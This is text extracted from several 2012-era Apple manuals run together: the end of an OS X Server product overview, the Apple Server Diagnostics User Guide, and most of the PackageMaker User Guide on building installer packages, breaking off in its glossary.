enable OS X to efficiently service requests—even when hundreds of users are simultaneously connected to the server. From the lowest levels of the kernel to everyday
applications, performance gains are especially noticeable on the latest Intel multicore
systems.
Advanced Server Features
OS X features an industrial-strength design required for business-critical server deployments. “Headless” operation allows administrators to install and configure services
without needing to connect a display to the server. Powerful remote administration
tools permit secure service management from anywhere on the network or over the
Internet, and support for SSH provides secure access from the UNIX command line.
To keep critical services up and running, OS X has built-in tools for monitoring systems,
preventing accidental shutdown, and recovering services quickly in case of network or
power failure.
Security and Access Controls
OS X is designed to be secure right out of the box—no security expertise is required.
Included are features that keep your systems secure such as advanced security
architectures, a built-in firewall, and strong encryption and authentication technologies.
Server FundamentalsOS X Server 25
Product Overview
System Requirements
• Mac computer running OS X Mountain Lion
• 10GB of available space
• Some features require an Apple ID; terms apply.
• Some features require a compatible Internet service provider; fees may apply.
Languages
English, Chinese, Dutch, French, German, Italian, Japanese, Korean, Spanish
Pricing
Anyone can quickly and easily turn a Mac running Mountain Lion into a server that’s
perfect for home offices, businesses, schools, and hobbyists alike.
OS X Server is an application you can add to Mountain Lion right from the Mac App
Store for $19.99.
Additional Resources
• Documentation: http://www.apple.com/osx/server/documentation/
• Training and certification: http://training.apple.com
• Product support: http://www.apple.com/support/
Tech Specs
© 2012 Apple Inc. All rights reserved. Apple, the Apple logo, FaceTime, iPad, iPhone, iPod touch, Keynote, Mac, Numbers, OS X, Pages,
QuickTime, Safari, Siri, Spotlight, Time Machine, and Xsan are trademarks of Apple Inc., registered in the U.S. and other countries.
iCloud and iTunes Store are service marks of Apple Inc., registered in the U.S. and other countries. Intel, Intel Core, and Xeon are
trademarks of Intel Corp. in the U.S. and other countries. IOS is a trademark or registered trademark of Cisco in the U.S. and other
countries and is used under license. UNIX® is a registered trademark of The Open Group. Other product and company names
mentioned herein may be trademarks of their respective companies. June 2012 L516499A
Apple Server
Diagnostics
User Guide
For Version 3X109KApple Inc.
© 2011 Apple Inc. All rights reserved.
Under the copyright laws, this manual may not be copied,
in whole or in part, without the written consent of Apple.
The Apple logo is a trademark of Apple, Inc., registered
in the U.S. and other countries. Use of the “keyboard”
Apple logo (Option-Shift-K) for commercial purposes
without the prior written consent of Apple may constitute
trademark infringement and unfair competition in
violation of federal and state laws.
Every effort has been made to ensure that the
information in this manual is accurate. Apple is not
responsible for printing or clerical errors.
Apple
1 Infinite Loop
Cupertino, CA 95014
408-996-1010
www.apple.com
Apple, the Apple logo, FireWire, Mac, Macintosh, the
Mac logo, and Mac OS are trademarks of Apple Inc.,
registered in the U.S. and other countries.
Finder and the FireWire logo are trademarks of
Apple Inc.
Other company and product names mentioned herein
are trademarks of their respective companies. Mention
of third-party products is for informational purposes
only and constitutes neither an endorsement nor a
recommendation. Apple assumes no responsibility with
regard to the performance or use of these products.
Simultaneously published in the United States
and Canada.
019-2146/2011-075 Chapter 1: Overview and Requirements
5 Overview of Server Diagnostics configurations
6 Requirements
7 Chapter 2: Installation
7 Install Server Diagnostics EFI
8 Install Server Diagnostics Mac OS X
9 Set up a NetBoot server
10 Chapter 3: Use Server Diagnostics
10 Change the startup disk
11 About Server Diagnostics modes
11 Remotely test a client server
13 Test the local server using Server Diagnostics EFI
13 Test the local server using Server Diagnostics Mac OS X
14 Use Server Diagnostics EFI
14 Use Server Diagnostics Mac OS X
3
Contents 5
Apple Server Diagnostics tests your server for hardware issues.
You can run Apple Server Diagnostics in Extensible Firmware Interface (EFI), which
is referred to as Server Diagnostics EFI, or in Mac OS X, which is referred to as Server
Diagnostics Mac OS X.
Run Server Diagnostics EFI to diagnose hardware issues that prevent Mac OS X from
successfully starting up. Run Server Diagnostics Mac OS X to remotely diagnose
hardware issues or to diagnose issues that are not tested in Server Diagnostics EFI.
Overview of Server Diagnostics configurations
You can install and run Server Diagnostics in the following ways:
Method Do this because
Use the preinstalled Server
Diagnostics EFI
No installation is necessary.
Install Server Diagnostics EFI or
Server Diagnostics Mac OS X on
a portable storage device
You can use the same portable storage device to test multiple
servers.
Install Server Diagnostics EFI or
Server Diagnostics Mac OS X on
the hard disk
You don’t need a portable storage.
Host a NetBoot server You can use a single Server Diagnostics EFI install image to test
multiple servers.
1
Overview and RequirementsRequirements
Before you can run Server Diagnostics, you must meet installation, local, and remote
requirements.
Installation requirements
To install Server Diagnostics, you need the following:
 You need a Mac Pro or Mac mini server with Mac OS X v10.7 or later installed.
 If you’re installing onto a portable storage device, you need a USB 2.0 flash drive, or
a USB 2.0 or FireWire hard drive.
 If you’re installing Server Diagnostics EFI, you need an empty volume with 100 MB of
available space but doesn’t have Mac OS X installed.
 If you’re installing Server Diagnostics Mac OS X, you need an empty volume with 10
GB, which will be used for a dedicated Mac OS X installation.
Local and remote requirements
To run Server Diagnostics remotely, you need:
 A computer with Mac OS X v10.6 or later installed. This computer is referred to as
the host computer.
 A server with Mac OS X v10.7 or later installed. This server is referred to as the
client server.
 A network connection with DHCP active from the host computer to the client server.
 If the client server runs Server Diagnostics EFI and uses a network connection, the
network connection must use a built-in Ethernet port, not an Ethernet adapter card.
 The client server must have Server Diagnostics installed on an internal volume or on
a connected portable storage device, or it must be able to run Server Diagnostics
from a NetBoot server.
 The host computer must run Server Diagnostics Mac OS X. The client server can run
Server Diagnostics EFI or Server Diagnostics Mac OS X.
 If the client server is running Server Diagnostics Mac OS X, you must be able to
log in to the root account. The root account gives a system administrator complete
access to the server.
NetBoot server requirements
To host Server Diagnostics EFI on a NetBoot server, your NetBoot server must:
 Have Mac OS X v10.7 with server components installed.
 Be on the same subnet as the server being tested.
 Have 100 MB of hard disk space available for a Server Diagnostics NetBoot image.
6 Chapter 1 Overview and Requirements 7
Before you can run Server Diagnostics, you must set up your
testing environment and install Server Diagnostics.
Make sure you meet Server Diagnostics requirements before attempting setup and
installation. For information, see “Requirements” on page 6.
Server Diagnostics EFI is preinstalled on the server. The instructions in this chapter show
you how to install Server Diagnostics in a different location or set up a NetBoot server.
Install Server Diagnostics EFI
If you perform this task to install Server Diagnostics EFI on an internal volume on the
server, you need administrator access to the server. If you perform this task to install
Server Diagnostics EFI on a portable storage device, you can use any computer that
you have administrator access to.
To install Server Diagnostics EFI:
1 Use Disk Utility to set up an empty volume with a partition map scheme of GUID
Partition Table, that has at least 100 MB, and that is formatted as MS-DOS (FAT).
For information about using Disk Utility, see Disk Utility Help.
2 On the server, open AppleServerDiagnosticsEFI.pkg.
3 Follow the onscreen instructions and, at the Select Destination step, choose a volume
that has at least 100 MB of available space and doesn’t have Mac OS X installed.
4 If you’re asked to authenticate, authenticate as a user with administrator privileges.
2
InstallationInstall Server Diagnostics Mac OS X
If you perform this task to install Server Diagnostics Mac OS X on an internal volume,
you need administrator access to the server. If you perform this task to install Server
Diagnostics Mac OS X on a portable storage device, you can use any computer you
have administrator access to.
Installing Server Diagnostics Mac OS X involves three steps:
 Install Mac OS X.
 Copy Server Diagnostics Mac OS X to /Applications/.
 Configure Mac OS X.
To install Server Diagnostics Mac OS X:
1 Use Disk Utility to set up an empty volume with a partition map scheme of GUID
Partition Table and at least 10 GB.
For information about using Disk Utility, see Disk Utility Help.
2 Install Mac OS X on the empty volume.
3 Enable the root user.
For information about enabling the root user, see “Enabling and using the root user in
Mac OS X” at support.apple.com/kb/ht1528.
4 Log in using the root user name and the password of the user you created in the
setup assistant.
You must set up and run Server Diagnostics Mac OS X as root. Otherwise, you can’t test
the server you’ve installed Server Diagnostics Mac OS X on.
5 Copy the AppleServerDiagnostics.app file to the /Applications/ folder on the server.
6 If you’re setting up a client server, open a Finder window, select the /Applications/
folder, choose New Folder from the Action (gear) pop-up menu, and name the folder
AppleServerDiagnosticsClient.
Client servers are remotely controlled by host computers.
7 Open System Preferences (located in /Applications/) and change the following options
in System Preferences panes.
8 Chapter 2 InstallationChapter 2 Installation 9
System Preferences pane Recommended configuration
Users & Groups Select the System Administrator account and
click Login Items. Click Add (+), select
AppleServerDiagnostics.app (typically located in
/Applications/), and click Add.
CDs & DVDs In all pop-up menus, choose Ignore.
Desktop & Screen Saver In the Screen Saver pane, drag the “Start screen
saver” slider to Never.
Energy Saver In the Sleep pane, drag both sliders to Never and
deselect “Put hard disk(s) to sleep when possible.”
Mission Control In all pop-up menus, choose “–.”
Software Update In the Scheduled Check pane, deselect “Check for
updates.”
If you can’t change settings in System Preferences, click the lock button and authenticate.
Set up a NetBoot server
To host Server Diagnostics EFI on a NetBoot server, your NetBoot server must:
 Have Mac OS X v10.7 with server components installed.
 Be on the same subnet as the server being tested.
 Have 100 MB of hard disk space available for a Server Diagnostics NetBoot image.
To use the Server Diagnostics NetBoot image:
1 On the server that hosts NetBoot, open AppleServerDiagnosticsNetBoot.pkg and
follow the onscreen instructions to install the Server Diagnostics NetBoot image.
2 Configure the NetBoot service to serve the image and start the service.
For information about configuring and starting NetBoot, see Server Admin Help.10
This chapter describes how to start up and use
Server Diagnostics.
Before you start up Server Diagnostics, make sure everything is properly installed and
configured. For information, see Chapter 2,“Installation.”
Change the startup disk
Server Diagnostics is usually installed on a dedicated volume to minimize the risk of
server processes interrupting the tests. Because of this, you must change the startup
disk to the volume with Server Diagnostics installed before you can use the tools.
To start up Server Diagnostics, set the startup volume of the server to the volume or
disk image containing Server Diagnostics.
You can change the startup disk in the Startup Disk pane of System Preferences. For
information about how to change the startup disk in System Preferences, see System
Preferences Help.
You can also temporarily change the startup disk by holding down a key while starting
up the server:
Goal Hold down this key at server startup
Choose the Server Diagnostics volume before
starting up Mac OS X
Option
Start up the preinstalled Server Diagnostics EFI D
Start up using a Server Diagnostics EFI disk image
from the Internet
Command and D
Start up using the Server Diagnostics EFI disk
image from a NetBoot server
F1
If a firmware password is enabled and you try to temporarily change the startup
volume by holding down the Option key at startup, you must authenticate.
3
Use Server DiagnosticsChapter 3 Use Server Diagnostics 11
The Startup Disk pane of System Preferences can start up Server Diagnostics Mac OS X,
but not Server Diagnostics EFI. You can press the Option key at startup to start up
Server Diagnostics Mac OS X or Server Diagnostics EFI.
The server becomes unavailable when you use Server Diagnostics. Before starting
tests, alert users that the server will be unavailable.
About Server Diagnostics modes
Server Diagnostics can start up in any of three modes:
Mode Description Automatically enters mode if
Host The computer searches for
servers that are on the same
subnet and start Server
Diagnostics in remote mode.
When one is found, the host
computer controls Server
Diagnostics on the client server.
You run Server Diagnostics
Mac OS X and you’re not logged
in as root.
Client The server can be controlled by
a host computer.
You’re running Server
Diagnostics EFI and a host
computer is on the same subnet
or is directly connected.
Local The server runs all tests locally. You’re running Server
Diagnostics EFI, a host computer
isn’t on the same subnet, and it
isn’t directly connected.
If you’re logged in as root on the server and you run Server Diagnostics Mac OS X, you
can choose which mode to enter.
Remotely test a client server
To test a client server, start up Server Diagnostics on the host computer, set it to
connect to the client server, start up the Server Diagnostics on the client server, and
then set the client server to be a client of the host computer.
The host computer must run Server Diagnostics Mac OS X. The client server can run
Server Diagnostics Mac OS X or Server Diagnostics EFI. The available tests are based on
which Server Diagnostics the client server is running.
When you start up Server Diagnostics EFI, the server looks for a host computer. If it
finds a host computer, the server enters client mode. If it doesn’t find a host computer,
the server enters local mode.When you start up Server Diagnostics Mac OS X, the server automatically becomes a
host computer if you logged in to Mac OS X with an account that isn’t root.
If Server Diagnostics Mac OS X doesn’t automatically become a host computer, it asks
if it should connect to a client server, be a client of a host computer, or run tests locally.
To remotely test a client server:
1 On the host computer, open Server Diagnostics Mac OS X (typically located in
/Applications/).
2 Choose from the following:
 If you’re logged in as root, when Server Diagnostics Mac OS X opens, a dialog asks you
to choose which mode to enter. Choose “Connect to remote server” and click OK.
 If you’re not logged in as root, the dialog doesn’t appear, and Server Diagnostics
Mac OS X automatically enters host mode.
3 On the client server, change the startup disk to a volume with Server Diagnostics
and restart it.
You can also temporarily change the startup disk to be a volume with Server Diagnostics
on it or to a Server Diagnostics NetBoot disk image when you start up the server.
For information about how to change or temporarily change the startup volume, see
“Change the startup disk” on page 10.
4 If you’re starting up Server Diagnostics Mac OS X, log in as root.
5 If Server Diagnostics Mac OS X doesn’t open automatically, open the Apple Server
Diagnostics application (typically located in /Applications/), choose “Client of a remote
host,” and then click OK.
If you’re starting up Server Diagnostics EFI, the server enters client mode.
6 Verify that the host computer and client server have established a successful
connection by reviewing the following:
 The IP address field in the Server Diagnostics window on the host computer should
match the IP address assigned to the client server.
 The name of the Server Diagnostics window on the host computer is “Apple Server
Diagnostics remote log,” not “Apple Server Diagnostics local log.”
 The log area of the client server uses more of the Server Diagnostics window. Shut
Down, Restart, and a few other buttons are removed.
12 Chapter 3 Use Server DiagnosticsChapter 3 Use Server Diagnostics 13
Test the local server using Server Diagnostics EFI
To test the local server, make sure none of the computers on the same subnet as the
server running Server Diagnostics Mac OS X is in host mode. If a computer on the
same subnet is running Server Diagnostics Mac OS X tools in host mode, the server
enters client mode.
To test the local server using Server Diagnostics EFI:
m Restart the server and hold down the Option or F1 key to start up the volume or
NetBoot disk image with Server Diagnostics EFI.
For information about how to temporarily change the startup volume while starting
the computer, see “Change the startup disk” on page 10.
If Server Diagnostics EFI starts up and doesn’t find a host computer, it enters local mode.
Test the local server using Server Diagnostics Mac OS X
To test the local server, you must log in as root. If you don’t log in as root, Server
Diagnostics Mac OS X enters host mode.
To test the local server using Server Diagnostics Mac OS X:
1 Change the startup disk of the server to a volume with Server Diagnostics Mac OS X,
restart it, and log in as root.
2 If Server Diagnostics Mac OS X doesn’t open, open it (typically located in
/Applications/).
3 When Server Diagnostics Mac OS X opens, choose “Local” from the dialog that appears
and click OK.Use Server Diagnostics EFI
When Server Diagnostics EFI loads, the following screen appears:
3. Click to start testing.
2. Set test options.
1. Select tests to run.
4. View test results.
Use Server Diagnostics Mac OS X
When Server Diagnostics Mac OS X loads, the following screen appears:
3. Click to start testing.
2. Set test options.
1. Select tests to run.
4. View test results.
14 Chapter 3 Use Server Diagnostics
PackageMaker User
GuideContents
Introduction to PackageMaker User Guide 4
Organization of This Document 4
See Also 5
Packaging Overview 6
Packaging Workflow 9
Create a PackageMaker Project 10
Identify the Product Components 10
Configure Component Packages 11
Component Package Configuration Pane 11
Component Package Contents Pane 13
Component Package Components Pane 14
Component Package Scripts Pane 15
Configure the Product Package 16
Product Package Configuration Pane 16
Product Package Requirements Pane 17
Product Package Actions Pane 18
Configure the Product Package Install Choices 18
Build the Product Package 20
Glossary 22
Document Revision History 24
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
2Figures and Tables
Packaging Overview 6
Figure 1-1 The packaging process 7
Packaging Workflow 9
Figure 2-1 PackageMaker project window 9
Figure 2-2 Install Properties dialog 10
Figure 2-3 Component Package Configuration pane 11
Figure 2-4 Component Package Contents pane 13
Figure 2-5 Component Package Components pane 14
Figure 2-6 Component Package Scripts pane 15
Figure 2-7 Product Package Configuration pane 16
Figure 2-8 Product Package Requirements pane 17
Figure 2-9 Product Package Actions pane 18
Figure 2-10 Choice Configuration pane 19
Figure 2-11 Choice requirement editor 20
Table 2-1 Product package installation requirement examples 17
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
3Software packaging is the process used to put a software product into an installation package so that it can
be installed by the users of the product on their computers. To package a product you use the PackageMaker
application, which is part of the Xcode developer software suite.
This document shows how to use PackageMaker to create installation packages.
People who take finished product files and create installation packages for them are known as packagers.
With PackageMaker, packagers accomplish these objectives:
● Enclose a software product in a transport-agnostic container for delivery to users
● Define the user install experience
● Specify how product files are placed on the user’s file system
Software requirements: This document focuses on PackageMaker 3.0, introduced in Xcode 3.0.
Most of the descriptions in this document do not apply to earlier releases of PackageMaker.
You should read this document if you have a software product that you want to deliver to its users in a way
that allows you to define certain aspects of the user install experience and details about how the product files
are to be placed on the user’s file system.
To get the most out of this document, you should be familiar with Software Delivery Guide , which describes
the software delivery model used in OS X.
Organization of This Document
This document contains the following chapters:
●
“Packaging Overview” (page 6). Describes briefly the packaging process in the context of the OS X
software delivery model.
●
“Packaging Workflow” (page 9). Explains the workflow you should follow when creating installation
packages.
This document also contains a glossary and a revision history.
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
4
Introduction to PackageMaker User GuideSee Also
● Software Delivery Guide . Explains how to deliver and installsoftware using the PackageMaker and Installer
applications. Provides a larger picture of the OS X software-delivery model and more detailed information
about the installation process.
● File System Overview. Conceptual information and guidelines describing the structure and usage of the
OS X file system. Containsinformation about the OS X file system domains and the recommended locations
for software components according to their type.
Introduction to PackageMaker User Guide
See Also
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
5Packaging is one of the processes that make up the OS X software-delivery model. An installation package is
a file package that contains product files (the payload), instructions on how to add them to an OS X–based
system, and information used to create an appropriate install experience for the user. When users open your
installation package, the Installer application guides them through the installation process, which ensures that
their computer meets the installation requirements defined in the package before placing the payload on the
user’s file system, among other tasks.
The preferred software delivery mechanism for a self-contained application is the manual install, where users
drag the product from its container, a disk image, onto their file system. The installation package–based
mechanism is the preferred method for delivering a multicomponent product that isn't self-contained in a
bundle. A managed install, which is steered by the Installer application after the user opens an installation
package, can take advantage of advanced features such as better package management through the Installer
package database, downloadable packages, and certificate-based signing. OS X leverages these features to
provide users an improved install experience.
There are two types of installation packages: product packages and component packages. Product packages
contain the payload for an entire product, either as a single component or distributed among several component
packages. Component packages enclose a single component of a product and are generally contained within
product packages. In addition, product packages can refer to external component packages through package
references.
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
6
Packaging OverviewPackageMaker is the application you use to create installation packages. Figure 1-1 shows the packaging
process within the software development-packaging-delivery-installation workflow. The rest of this document
focuses on the packaging process.
Figure 1-1 The packaging process
Installation
Delivery
Packaging
Menu
• Option 1
• Option 2
• Option 3
Development
To package a product:
1. Identify and collect the product’s components
2. Create a PackageMaker project
3. Add the product’s components to the project
4. Configure component packages
Packaging Overview
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
75. Configure the product package
6. Define install options (in multicomponent products)
7. Build and test the product package
“Packaging Workflow” (page 9) describes the packaging workflow in detail.
Packaging Overview
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
8PackageMaker is used to create installation packages. Download the DeveloperUtilities app from http://developer.apple.com/downloads. Figure 2-1 shows the PackageMaker project window. The list following the figure
describes the items identified in it.
Figure 2-1 PackageMaker project window
Product package
Install option
Component
Action
Add contents
Product-package editor
● The left side of the window contains the package list. The first item in the list represents the product
package the project generates. The items in the Contents pane represent component packages and, in
product packages with more than one component package, install choices (the items with a blue dot next
to them).
● The right side of the project window contains an editor for the item selected in the package list. Figure
2-1 shows the product-package editor.
● The plus sign (+) icon at the bottom-left corner of the window is the Add Contents button.
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
9
Packaging Workflow● The gear icon is the Action pop-up menu (also known as the shortcut menu). Its contents correspond to
possible actions on the selected item.
The following sections depict the workflow you should follow when creating installation packages.
Create a PackageMaker Project
A PackageMaker project is where you identify a product to be packaged and define the install experience for
the users of the product. To create a PackageMaker project, choose:
PackageMaker menu bar: File > New.
PackageMaker displays the Install Properties dialog, shown in Figure 2-2.
Figure 2-2 Install Properties dialog
In this dialog you specify the following package properties:
● Provider Identifier (Organization): Identifies the entity responsible for the package’s contents.
PackageMaker uses the provider identifier to generate default package identifiers for the contained
component packages. See “Component Package Configuration Pane” (page 11).
● Target OS (Minimum Target): The earliest OS X release on which you intend the package to be installed.
Identify the Product Components
To define the package’s payload, locate the product components to be included in the package and add them
to the Contents pane in the project window. You can add components by dragging them from a Finder window
or by choosing:
Packaging Workflow
Create a PackageMaker Project
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
10PackageMaker menu bar: Project > Add Contents.
After adding a second component to a project, PackageMaker creates an install choice for each component
you add to the project, unless you add it directly to an existing install choice.
Configure Component Packages
You configure a component package in the component package editor, which contains four panes:
Configuration, Contents, Components, and Scripts. They are described in the following sections.
Component Package Configuration Pane
The Component Package Configuration pane (shown in Figure 2-3) is where you specify essential information
about the component package and its install experience. The list following the figure describes the items it
specifies.
Figure 2-3 Component Package Configuration pane
● Component source (Install): Pathname to the component’s root directory. This is the location of the
component’s files on your file system. These files make up the component package’s payload.
● Destination (To): Location in the target computer’s file system where the component is to be placed.
● Customdestination consent(Allow customlocation): Specifies whether the user installing the component
package can specify a different destination.
Packaging Workflow
Configure Component Packages
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
11● Package identifier: String, in the form of a universal type identifier (UTI), that identifies the component
package. For example, com.apple.iSpend.pkg.
Install effect: The Installer application uses the package identifier to identify the component
package in the Installer package database.
● Package version number: Positive integer that specifies the iteration of the component package. (This
version number is not related to any versioning information specified in the payload.)
Install effect: The Installer application uses the package version number, together with the
package identifier, to determine whether to install the contained component as a new item in
the target computer or to upgrade an existing copy of the component.
● Finalization action (Post-install): Action to require the user perform after the installation process is
complete. The available actions are log-out, restart, and shutdown.
Install effect: After the installation processisfinished, the Installer application displays a dialog
indicating the action to be performed. When the user clicks the dialog’s default button, Installer
carries out the action.
● Administrator-authentication requirement (Require admin authorization): Specifies whether the user
must authenticate as an administrator of the computer before performing the install. This is needed when
the user can install a product in one of the privileged file-system domains, such as the local domain (for
example, /Applications). You don’t need to select this option when the user can install your package
only on their home directory (see “Product Package Configuration Pane” (page 16) for more information).
Install effect: The Installer application displays the OS X Authentication dialog. If the user who
authenticatesis not an administrator of the computer, the installation process does not proceed.
Packaging Workflow
Configure Component Packages
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
12Component Package Contents Pane
The Component Package Contents pane (shown in Figure 2-4) is where you specify the ownership and access
permissions of each of the files that make up the component.
Figure 2-4 Component Package Contents pane
Ownership and access permissions: The files that the Installer application places on the target
computer have the same ownership and access permissions as the payload’s files. Therefore, you
must set up the owner and access permissions of component files appropriately before building the
installation package; otherwise, users may have difficulty manipulating those files after they are
installed or Installer may be unable to copy payloads to their destinations.
In most cases, the owner should be root and the group admin. Also, PackageMaker can set the owner, group,
and access permissions of the component files to those that work best in OS X, according to the component
type.
Packaging Workflow
Configure Component Packages
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
13Component Package Components Pane
The Component Package Components pane (shown in Figure 2-5)specifies whetherthe componentisrelocatable
or downgradable.
Figure 2-5 Component Package Components pane
A relocatable component is one that may be moved by the user after it’sinstalled. For example, after installing
an application into /Applications, a user with administrator privileges may move it to
/Volumes/Family/Applications. When the user installs a relocatable component a second time on the
same computer, the Installer application searches for the component’s existing files in additional locations in
the file system, not just the location at which the component was installed, according to the Installer package
database).
In this pane you also specify whether a component can be downgraded. A downgradable component is one
that can be replaced with an earlier version during an install. When the user reinstalls a earlier version of an
existing downgradable component, Installer replaces component files that exist in both the payload and the
target computer with the ones in the payload and deletes files that are not present in the payload.
Packaging Workflow
Configure Component Packages
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
14Important: A component’s downgradability is specified by the installation package that may downgrade
the component, not by the installation package from which the component was installed. And none of this
information is kept in the component itself. That is, if an early release of an installation package specifies
one of its components as downgradable but a later release deemsthe same component as not downgradable,
after the user installs the later package, they can still downgrade the component using the earlier package.
Component Package Scripts Pane
The Component Package Scripts pane (shown in Figure 2-6)specifiesinstall operations—which are implemented
as executable files—to perform before (preinstall) or after (postinstall) the component is installed.
Figure 2-6 Component Package Scripts pane
Install effect: The Installer application executesthe specified install operation either at the beginning
of the install or at the end of the install. But Installer also warns users that it’s about to execute
unsecured code when they open the installation package.
Note: Consider defining preinstall and postinstall actions on the product package (see “Product
Package Actions Pane” (page 18)) instead of preinstall and postinstall operations in component
packages. The latter are inherently less secure and cause the warning described earlier.
Important: In OS X v10.5 clients, the only install operations available are preinstall and postinstall.
For detailed information about install operations, see Software Delivery Guide .
Packaging Workflow
Configure Component Packages
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
15Configure the Product Package
When you select the product package in the package list, the product package editor appears on the right
side of the project window. In this editor you define the product’s packaging details and some installation
information. The following sections describe the panes in the product-package editor.
Product Package Configuration Pane
The Product Package Configuration pane (shown in Figure 2-7) is where you enter information about the
product package, such as its title and description. You can also add other product description files, such as the
Welcome, Read Me, License, and Conclusion files (see Software Delivery Guide for details).
Figure 2-7 Product Package Configuration pane
This pane also lets you specify which type of install the user can perform on the product package: easy, custom,
or both. In addition, you can specify the locations into which the user can install the product: any volume, the
system volume, or the user’s home directory.
Packaging Workflow
Configure the Product Package
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
16Product Package Requirements Pane
A package requirement is a test the Installer application performs at the beginning of the installation process.
These requirements may be optional. Any unmet, non-optional package requirement prevents the installation
process from continuing. Figure 2-8 shows the Product Package Requirements pane, where you specify these
requirements. In this case, the package has two requirements, one required and one optional. Their definition
and install effects are described in Table 2-1.
Figure 2-8 Product Package Requirements pane
Table 2-1 Product package installation requirement examples
Description Required Pass if Install effect
Preventsinstall unless destination volume
has at least 2MB of free space.
Disk space on target volume Yes true
is at least 2MB
Displays a warning when the computer
has less than 512MB of RAM.
Computer RAM is less than No false
512MB
Packaging Workflow
Configure the Product Package
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
17Product Package Actions Pane
You may want to tell the Installer application to perform a particular action before or after the product package
is installed. Installation actions let you specify such tasks. For example, you can instruct Installer to show the
installed payload in a Finder window, as shown in Figure 2-9.
Figure 2-9 Product Package Actions pane
This postinstall action opens a Finder window displaying one of the installed product’s components.
Configure the Product Package Install Choices
When your product contains multiple components, it may be appropriate to let the user decide which
components to install. For example, a particular user of your product may not want to install a documentation
or example component. In this case, the user should be able to remove unwanted components from the install
process. PackageMaker and the Installer application allow you to define install choices to accomplish such
outcome.
Install choices allow users of your product package to customize the install by selecting the components to
be installed (unselected components are not installed). For example, if your product includes an application
and a user guide as separate components, you may allow the user not to install the user guide by having the
application and the user guide under separate choices. In the install customization pane (the Custom Install
pane in the Installer application), the user selects the components to be installed.
Packaging Workflow
Configure the Product Package Install Choices
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
18Note: Install choices are not a mechanism by which installed components can be removed from a
computer.
You configure an install choice by selecting it in the Contents pane in the project window and setting values
for its properties in the choice editor, which contains two panes: Configuration and Requirements. Figure 2-10
shows the Choice Configuration pane.
Figure 2-10 Choice Configuration pane
This pane lets you specify the following choice properties:
● Choice Name: The text the user sees in the install customization pane.
●
Identifier: Identifies the choice within the package.
●
Initial State: Specifies the value of three user-interface properties (selected, actionable, and visible) of the
choice the first time the user arrives at the install customization pane:
● Selected: Specifies whether the choice is selected.
● Enabled: Specifies whether the user can change the selected state of the choice directly.
● Hidden: Specifies whether the user can see the choice.
● Destination (Custom Location): Specifies the destination of the choice’s components. Defining a choice
destination overrides the destination specified for the choice’s components in the component package
editor (see “Component Package Configuration Pane” (page 11)). You may also allow the user to choose
a different destination by selecting “Allow alternate volume.“ You should always specify a destination for
every choice with product components.
Packaging Workflow
Configure the Product Package Install Choices
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
19● Tooltip: Short message (15 words or fewer) that appears when the user hovers the pointer over the choice
in the install customization pane.
● Description: Information that appears in the install customization pane when the user selects the choice.
As described earlier, a choice has user-interface properties that define the level of interaction the user has with
the choice in the install customization pane. While you can specify a value for each UI property in the package,
there may be choices that need information about the computer to determine the value of such properties.
For example, if an optional plug-in component can work only in certain releases of OS X, you may want to
display the choice that contains the component only when the computer is running an appropriate operating
system version. Here’s where choice requirements can help.
A choice requirement is a test that compares a system property against a value and setsthe initial and dynamic
values of the choice’s UI properties based on the test result. (The Installer application sets the dynamic values
of the UI properties as the user selects or deselects choices in the install customization pane; see Software
Delivery Guide for details.) Figure 2-11 shows the choice requirement editor, which lets you define the test
and the resulting values of the choice UI properties if the test fails.
Figure 2-11 Choice requirement editor
Build the Product Package
To build the package, choose:
Packaging Workflow
Build the Product Package
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
20PackageMaker menu bar: Project > Build.
A dialog appears asking for the name and location of the package.
Open the generated installation package in the Installer application and ensure that the resulting install
experience is what you expect and that your product is installed correctly. You should perform comprehensive
tests involving as many of the system configurations your product supports as possible. See Software Delivery
Guide for more information.
Packaging Workflow
Build the Product Package
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
21choice requirement A test that comparesthe value
of a system property (such as the amount of
random-access memory available) with a value.
Choice requirements determine the value of a
choice’s user-interface properties: selected,
actionable, and visible.
choice requirement editor Area of a PackageMaker
project window that allows packagers to specify a
choice requirement (and how it affects the value of
the choice’s user-interface properties). See also
choice requirement.
component package Installer package that contains
a single software component asits payload. See also,
product package.
component package editor Area of a
PackageMaker project window that specifies
packaging and installation information about a
product component. This editor is displayed when
a component isselected in the Contents pane in the
project window.
downgradable component A product component,
such as an application binary or a plug-in, that can
be replaced with an earlier version in an install
process.
finalization action An action required after a
completed installation process. The possible
finalization actions are log-out, restart, and
shutdown.
install choice An option users can select or deselect
during the installation process to specify whether a
product component is to be installed
install customization pane A pane users see while
interacting with the Installer application if the
package being installed allowsthe user to customize
the install by choosing the product components to
be installed. See also, product package, product
component.
install operation An install-time operation
performed by an executable file that is invoked at
the beginning or at the end of the install. The two
install operations supported in OS X v10.5 are
preinstall and postinstall.
installation action A task to be performed before
or after an install. PackageMaker defines several
installation actions, including Quit Application and
Show File in Finder.
installation package A file package with the pkg
or mpkg extension. Installation packages contain a
payload and installation information used by the
Installer or Remote Desktop applications to identify
the payload’s parts and generate an install
experience for the user.
Installer package database System-level database
of all the installation packages installed by the
Installer application.
managed install An Installer application–driven
installation process. Users open an installer package
in Installer, which then guides them through the
installation process.
2012-02-16 | © 2012 Apple Inc. All Rights Reserved.
22
Glossarymanual install An user-driven installation process.
In this software-installation method, users drag a
product’sfilesto a location of their choosing in their
computer’s file system. See also managed install.
package identifier Identifies the package within
the Installer package database. See also Installer
package database.
package list A pane in a PackageMaker project
window that lists the packages the project defines.
This list is divided in two parts: the
installation-package file (which contains all the
product’s files) and the subpackages or package
